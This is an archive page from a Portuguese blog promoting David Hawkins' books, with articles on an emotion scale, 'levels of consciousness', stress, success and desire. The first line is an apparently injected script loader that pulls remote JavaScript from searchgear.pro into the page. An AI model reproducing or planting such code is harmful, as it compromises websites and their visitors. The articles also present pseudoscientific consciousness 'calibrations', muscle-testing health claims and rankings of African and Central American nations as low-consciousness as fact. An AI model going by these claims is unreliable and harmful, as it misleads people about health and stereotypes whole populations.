;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de davidhawkinsbrasil - David Hawkins Brasil
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Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.

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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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Estresse e Sentimentos Reprimidos

No último artigo sobre o método do Dr. David Hawkins, o Deixar Ir, falamos sobre os sentimentos e a maneira como lidamos com ele. Que tal agora olharmos o estresse e outros sentimentos reprimidos?

Sentimentos Reprimidos – a origem do Estresse

Cada dia mais escutamos falar do estresse como algo que vem de fora e nos afeta nos desequilibrando física, emocional e espiritualmente. 

Mas, será que o estresse é realmente fruto de fatores externos, de uma vida agitada e cheia de preocupações e compromissos, ou seria o estresse uma projeção daquilo que está dentro de nós? 

Segundo Dr. Hawkins o estresse nada mais é do que uma forma de deixarmos ir a pressão de sentimentos reprimidos. São eles que nos deixam vulneráveis ao estresse externo. 

Reagimos ao medo, por exemplo, de acordo com o quantum de medo que já existe dentro de nós. O medo interno cria uma projeção e passamos a ver o medo em tudo o que nos rodeia. Nesse sentido, o externo passa a ser um lugar perigoso porque nosso medo interno se projeta para tudo o que olhamos fora de nós. 

“A regra básica é que focamos no que reprimimos. Estresse é o resultado da pressão acumulada dos nossos sentimentos reprimidos e suprimidos.” (Dr.David Hawkins)

Sentimentos bloqueados e o adoecimento 

Reprimimos nossos sentimentos e essa energia retorna ao nosso sistema nervoso autônomo causando doenças. 

O estresse é isso, uma reação emocional a um estímulo que se precipita assim como seu nível é determinado por nossas crenças e pressões emocionais.

Dr. Hawkins cita o efeito do estresse nos testes musculares, que ele relata claramente em seu livro “Poder vs Força”. Um sentimento negativo provoca perda de 50% da força muscular e reduz a visão física e mental.

Qual é o grau de reatividade que temos aos estímulos externos? 

O mecanismo do Deixar Ir colabora para a diminuição da pressão interna desses sentimentos e das respostas do corpo físico ao estresse. 

Os programas de redução do estresse atuais 

Será que eles funcionam? Em que estão baseados?

Geralmente, o que vemos é a tentativa de aliviar o estresse após ele já estar estabelecido, Mas, qual é sua causa, sua origem?

“É como tentar reduzir a febre sem corrigir a infecção.”(Dr.Hawkins) 

 E por que não atuar na origem, naquilo que está subjacente, ou seja, os sentimentos reprimidos e suprimidos como a raiva, o medo, a culpa e outros sentimentos negativos que impactam nas nossas percepções e comportamentos diante das situações, das pessoas e do mundo. 

Sem essa consciência, do que realmente guardamos em nosso inconsciente, das emoções que soterramos, estaremos apenas cuidando da superfície do problema, mas não atingindo o centro da questão. 

Em seu livro “Deixar Ir”  Dr. Hawkins traz inúmeros exemplos de como o mecanismo do deixar ir pode beneficiar nossa saúde física e mental. Um verdadeiro tratado de como podemos cuidar dos nossos sentimentos e de nossa saúde.

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Os Princípios do Sucesso

Em um de nossos últimos artigos sobre o Sucesso falamos sobre aquele “algo” que existe nas pessoas de sucesso. Mas, quais são os princípios do sucesso? Como reconhecê-los?

Que tal agora olharmos para alguns exemplos disso? 

Princípios do Sucesso

Quem nunca esteve num restaurante? 

Esse é o tipo de negócio que acompanhamos com frequência e observamos que existem restaurantes de sucesso fenomenal mas, a taxa de fracasso para esse segmento está na casa de 50%.

Dos 50% que sobrevivem à essa estatística, uma boa parte sobrevive apenas, sem felicidade ou facilidade para tocar o negócio. E, apenas uma pequena parcela deles terá sucesso e despontarão.

Nesses casos, seja o dono do estabelecimento ou os chefs de cozinha atuam de forma criativa, buscando sempre aprender, têm prazer em servir e fazer do local onde trabalham um sucesso, fazendo pratos que surpreendam os clientes e gerando fidelidade.

O que a banda toca? 

Outro exemplo bem interessante que Dr.Hawkins cita em seu livro “O Sucesso é Para Você” é o das bandas musicais que se apresentam em bailes e festas. Algumas conseguem fazer o público participar e estar presente o tempo todo do show, outras no entanto, parecem tocar para si próprias, não se importando muito com o que o público gostaria de ouvir, dançar e cantar. 

O que acontece nesse caso é que a motivação para fazer aquilo que estão fazendo é a sua própria e não a amorosidade no servir, não estão focados em trazer alegria para o público. 

Alguns músicos, contudo, mesmo tendo suas próprias preferências, sabem “ouvir o público”, sentir qual é o apelo deles, qual é o ritmo que o público quer ouvir e acompanham isso. 

Princípios do Sucesso: Saiba observar para obter a resposta

Voltando aos restaurantes, quantas vezes você não voltou a locais apenas para apreciar um prato que te impressionou? E, já imaginou se você chega com essa expectativa e o prato não existe mais? Ou, se o restaurante deixou de servir o café que você tanto apreciava?

Uma das bases do sucesso é saber ouvir o cliente, ser observador, responsivo. Quando a intenção de um negócio está focada apenas no que o proprietário deseja para si e não observa o movimento do seu público, temos aí uma grande possibilidade de fracasso, seja qual for o seu negócio. 

O cliente foi desconsiderado em sua perspectiva e se sente desvalorizado e insatisfeito. Mesmo que esse restaurante seja o único em um determinado tipo de comida, receberá clientes por essa razão e não porque o cliente se sente ouvido e considerado. 

E, o proprietário que não é atento e responsivo às solicitações de seu cliente, mesmo que esteja ganhando financeiramente, deixa escapar a felicidade de estar servindo, e se mantém apenas na sobrevivência. 

Felicidade ou Satisfação? 

É muito importante diferenciar a felicidade da satisfação

 “Uma pessoa pode obter satisfação de enfiar e girar uma adaga no coração do outro – isso é satisfação. É improvável que isso resultará em uma vida feliz. Felicidade na vida é como mantemos o sucesso.” (Dr. Hawkins)

Uma ótima analogia é a que se refere a tirar 10 em uma prova colando, um exemplo de satisfação e sobrevivência. Podemos atingir um objetivo, passar em uma matéria, mas e sua autoestima como ficou? 

O sucesso é feito de:

  • autoestima saudável
  • autoconfiança
  • entusiasmo
  • alegria de saber que se tem a própria maestria.

A alegria seria genuína se o estudante tivesse estudado e tirado 10, não pelo esforço, mas por ter agregado algo à sua maestria.

Essa é manifestação do poder pessoal, do sucesso. Não é fruto de uma cópia, mas da minha própria capacidade de criar e ver os resultados.

Princípios do Sucesso: O dinheiro por si só não é prova de sucesso

O lucro que se obtenha com um determinado negócio não é indicativo de felicidade e sucesso.

Todos nós temos exemplos de pessoas que, apesar de ostentarem ótimas condições financeiras, vivenciam o medo, o orgulho, a paranoia, a arrogância entre outros sentimentos que os colocam distantes da felicidade e do sucesso genuíno. 

Quantas histórias de ganhadores de loteria, herdeiros ou celebridades que não conhecemos que perderam tudo? Isso ocorre porque apoiaram-se apenas no ter e não no ser. Perdem negócios, família, cometem abusos, vícios e até mesmo suicídio. 

O sucesso genuíno ressalta a pessoa e não suas posses

O que nos impressiona é aquilo que a pessoa de sucesso verdadeiro é e não o que ela tem. Somos atraídos pelo “algo a mais” que ela possui, é isso que faz nos conectarmos com ela. É aquilo que está presente em suas ações que nos encanta.

“Não é o dinheiro que viraliza e passa de mão, é saber como manifestar dinheiro que viraliza nos outros…ter dinheiro é uma manifestação de uma atitude interna. Pobreza está na sua cabeça, não na sua carteira.” (Dr.Hawkins) 

Se você apoia o sucesso sobre intenções internas verdadeiras, a vida floresce e tudo contribui para o sucesso. Pelo contrário, se as intenções estão baseadas apenas na conquista de posição, dinheiro ou status social, o sucesso não se mantém e leva todas suas ações à destruição da vida. 

Sucesso não está fora, está dentro!

Esse é um aprendizado que está presente durante toda a leitura do livro “O Sucesso é Para Você” do Dr.David Hawkins. Uma leitura que nos esclarece completamente o quanto temos uma noção equivocada de como o sucesso pode acontecer para cada um de nós. 

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Nossa vida é um presente de Deus – por Dr. David Hawkins

Nossa vida é um presente de Deus. Trecho de Seminário em Sedona, Arizona em 22/07/2007, onde o Dr. David Hawkins conversa com sua esposa Susan Hawkins.

Nossa vida é um presente de Deus para nós. Somos únicos.

Nem mesmo um fio de cabelo passa despercebido pelos olhos de Deus.

Ter esta vida, significa Misericórdia por tudo que fizemos em nosso passado (mesmo que não lembremos) e a chance de nos redimirmos perante nós mesmos, os outros e o Amor de Deus.

Somos únicos em nosso DNA, em nossas impressões digitais e, até mesmo gêmeos idênticos na aparência, são muitas vezes, completamente diferentes na essência e também nos mínimos detalhes da biologia.

Sermos únicos é o maior presente que Deus deu para nós e o maior milagre que podemos enxergar todos os dias de nossa vida.

Agradecer e cuidar deste presente, dando o nosso melhor e nos autoconhecendo cada vez mais, dia após dia, é a melhor forma de retribuir este presente e de colher frutos doces no futuro.

Nossa vida é um presente de Deus

Ative a legenda em português para uma melhor experiência.

https://www.youtube.com/watch?v=6Q0mJ6aaV_M&feature=emb_logo

Dr. David R. Hawkins: Bem. Então, na medida em que somos responsáveis o tempo todo pelas consequências das nossas ações, não por medo, não por superstição, não por lavagem cerebral, mas por escolha livre, nós devemos a dignidade e grandeza sobre a nossa verdadeira realidade.

Nós damos o respeito que é devido. A sua vida é um presente de Deus Todo Poderoso, e isso dificilmente é algo pequeno.

Se Deus te deu uma grande cadeia de coisas, você não vai deixar onde o vento pode levar, você não se livraria disso.

“Eu te dei isso, coloque ali com cuidado.”

Deus Todo Poderoso me deu isso, se eu fosse você, eu cuidaria com muito cuidado.

Então você garante o mesmo respeito com a sua própria vida.

E, intrinsecamente, eu vejo o esforço de outros e eu vejo a fraqueza deles, a fraqueza para fazer dinheiro, o prazer em falar mal de outras pessoas, é isso o que eles conseguem eu acho que é algum tipo de alegria tirada da fraqueza para o próprio bem.

Fraqueza para o próprio bem.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Níveis de Consciência

O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

